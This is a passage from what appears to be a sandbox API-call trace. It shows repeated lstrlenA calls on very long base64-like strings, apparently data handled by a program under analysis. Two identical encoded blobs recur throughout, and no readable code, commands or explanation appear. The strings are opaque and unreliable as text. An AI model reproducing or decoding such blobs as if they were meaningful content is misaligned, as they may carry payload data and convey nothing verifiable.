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") returned 5820
	[0084.633] lstrlenA (lpString="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") returned 5820
	[0084.633] lstrlenA (lpString="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") returned 5820
	[0084.633] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+